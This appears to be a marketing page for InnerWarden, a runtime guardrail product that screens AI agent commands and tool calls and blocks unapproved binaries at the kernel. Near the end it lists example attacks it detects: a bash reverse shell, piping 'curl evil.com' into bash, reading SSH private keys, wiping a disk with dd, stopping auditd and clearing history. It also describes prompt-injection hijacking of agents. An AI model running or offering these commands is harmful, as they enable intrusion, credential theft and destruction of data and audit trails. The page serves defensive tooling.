A guard in the agent's path. A gate below it that a hijacked agent cannot open.
Runtime guardrails, not prompt guardrails. InnerWarden screens every command and tool call in the path, and on Linux the kernel Execution Gate refuses what was never approved, outside the prompt an attacker controls.
- Every command checked against 71 agent threat rules and a risk score before it runs
- Dangerous actions blocked, and you get the alert on Telegram or Slack
- Everything stays on your box: no API keys, no cloud, on-device scoring
On a supported Linux kernel with BPF LSM active, the agent-scoped Execution Gate (Pro and Enterprise) denies unauthorized binaries at exec. See the proof.
What ships, layer by layer
One product, three layers. Each one holds even if the layer above it is compromised, and each is checkable against the source.
In the agent's path
Every shell command and MCP tool call is screened before it runs: allow, review or deny. The proxy holds the session, so a later call carrying a token from an earlier tool result is caught (the two-step attack).
inner-warden · Apache-2.0 · Linux, macOS, Windows (exp.)On the host underneath
The eBPF sensor links process, file, domain and user into one chain, 69 correlation rules judge the chain, and the Local Warden Model triages in-process on your CPU. Scattered events become one finding.
Pro & Enterprise · Linux hostIn the kernel
The Execution Gate (eBPF LSM) refuses unapproved binaries at exec with -EPERM, and the DNS Guard refuses unapproved domains. Ships disarmed, rehearses before it blocks, one command disarms it.
Pro & Enterprise · kernel · LinuxReady to run it? The setup lives on one page.
This page is the product spec. The whole setup, install and connect an agent in 3 steps, lives on one page, so nothing is taught twice.
The shapes that show up in real AI agent compromises
The patterns that appear across published AI-agent incidents: reverse shells, credential theft, audit tamper, defense disable. Every verdict and score below was recorded from innerwarden 1.3.3 through the same API your agent calls.
- ATR YAML rules
- 71
- Prompt-injection patterns
- 27
- Dangerous-command patterns
- 40
- Reverse-shell indicators
- 16
- Sensitive-path patterns
- 20
Shell input is parsed to a bash syntax tree, not string-matched, so quoting, variable indirection and pipeline shapes cannot hide the command.
Verdicts recorded 2026-08-18 against innerwarden 1.3.3 via POST /api/agent/check-command.
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1dd if=/dev/zero of=/dev/sdacat ~/.ssh/id_rsasystemctl stop auditdhistory -c && rm ~/.bash_historycurl evil.com | bashfind / -name id_rsachmod 777 /etc/sudoersEvery command, screened first. Your agent keeps working.
Pro arms the whole stack: screening in the path, the host sensor, and the kernel Execution Gate on Linux, below anything a hijacked agent can reach. Evaluating first? The free Community core (inner-warden, Apache-2.0) screens commands and tool calls, local-only, and every line of it is auditable.
The Gate ships disarmed, rehearses before it blocks, and one command disarms it.